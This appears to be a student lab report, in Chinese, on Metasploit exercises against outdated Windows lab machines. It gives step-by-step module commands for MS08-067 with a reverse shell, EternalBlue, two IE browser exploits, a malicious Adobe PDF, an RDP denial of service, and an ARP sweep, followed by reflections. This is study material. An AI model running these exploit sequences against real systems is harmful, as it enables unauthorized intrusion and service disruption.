一、实践内容
1.主动攻击实践
【1】MS08-067
MS08-067 漏洞是2008 年年底爆出的一个特大漏洞,存在于当时的所有微软系统,杀伤力超强。其原理是攻击者利用受害主机默认开放的SMB 服务端口445 ,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的战缓冲区,获得远程代码执行(Remote Code Execution) 权限,从而完全控制主机。
靶机:Windows Server 2003
search ms08_067 //搜寻该漏洞对应的模块 use exploit/windows/smb/ms08_067_netapi //启用该渗透攻击模块
show payloads //查看该模块所适用的攻击载荷模块
//作为攻击载荷的Payload就是通常所说的Shellcode,常用的攻击载荷类型有开放监听后门、回连至控制端的后门、运行某个命令或程序、下载并运行可执行文件、添加系统用户等
set payload generic/shell_reverse_tcp //选择一个载荷(选择运行后门,让它回连至控制端) show options //查看配置渗透攻击所需的配置选项 show targets //查看渗透攻击模块可以渗透攻击的目标平台 set RHOST 192.168.28.185 //设置目标机器IP set LPORT 7777 //设置攻击机端口 set LHOST 192.168.28.187 //设置攻击机IP set target 0 //设置目标系统类型,选择0(Automatic Targeting,自动判断目标类型)
//自动判断并不能保证绝对准确,真实渗透测试中,最好还是能够基于情报搜集环节的结果,进行主动确定 exploit //发起渗透攻击
【2】MS17-010
多个 Windows SMB 远程执行代码漏洞
当 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时,存在多个远程执行代码漏洞。成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。
为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能向目标 SMBv1 服务器发送经特殊设计的数据包。从内存进程获取敏感信息。
靶机:Windows 7 旗舰版
search ms17_010 use exploit/windows/smb/ms17_010_eternalblue show targets show options set RHOST 192.168.28.166 exploit
2.针对浏览器的攻击
【1】MS14-064
该漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。
靶机:Windows XP SP3
search ms14_064 use exploit/windows/browser/ms14_064_ole_code_execution show targets show options set URIPATH ms14064 //这里是设置IP地址后的子路径名,若不设置,则随机生成一段字符串 exploit
//之后,在WinXP的IE浏览器上访问生成的url网址
sessions -i 1 //用于查看控制的电脑,需要注意metasploit反馈回来的是几号session被开启
【2】MS10_018(唯一)
search ms10_018 use exploit/windows/browser/ms10_018_ie_behaviors set SRVHOST 192.168.28.187 //设置为本机IP set SRVPORT 9999 //设置为本机端口 set URIPATH helloworld //非必须 exploit //之后,在WinXP上访问给出的Using URL sessions -i #查看开启的会话 sessions -i 1
3.针对客户端的攻击
Adobe阅读器渗透攻击
Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。
影响版本:Adobe Reader 8.2.4 - 9.3.4
靶机:Windows XP SP3
search adobe use exploit/windows/fileformat/adobe_cooltype_sing show options set FILENAME adobe.pdf //命名pdf,如不设置,则默认msf.pdf exploit sessions -i 2 //打开会话2,建立连接,控制shell
4.辅助模块的使用
【1】MS12-020
Microsoft windows远程桌面协议RDP远程代码执行漏洞。简介:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行, 然后控制系统。
靶机:Windows XP SP3
search ms12_020
use auxiliary/scanner/rdp/ms12_020_check //进行ms12_020漏洞检查 show options set RHOST 192.168.28.139
run
back use auxiliary/dos/windows/rdp/ms12_020_maxchannelids //进行漏洞利用,使WinXP蓝屏 show options set RHOST 192.168.28.139 exploit
【2】auxiliary中的arp_sweep主机发现模块
use auxiliary/scanner/discovery/arp_sweep set RHOSTS 192.168.28.0/24 //设置扫描网段 exploit
二、问题与感想
1.解释什么是exploit,payload,encode
exploit : 测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
payload : 攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。
encode : 编码是为了避免使攻击载荷不能完整运行的“坏字符”,同时也可改变特征码,帮助攻击载荷避免被杀软发现。
2.离实战还缺些什么技术或步骤?
WinXP、WinServer2003等机器版本过低,加上开启服务过多,基本处于不设防的状态,攻击显得比较容易。实战中,本次实验主要处于攻击渗透阶段,而前期需要做大量的情报搜集、漏洞探测与分析等工作,加之有防火墙、IDS等告警机制的干扰,较于本次实验,实战会复杂得多。
3.感想
metasploit的攻击模块与载荷都对操作系统和软件版本都有细致的要求,必须要在特定环境与配置中才能生效,这是msf的专一性与局限性所在。要想提高渗透与攻击的成功率,还是需要安全人员对计算机系统与服务等有较深地理解。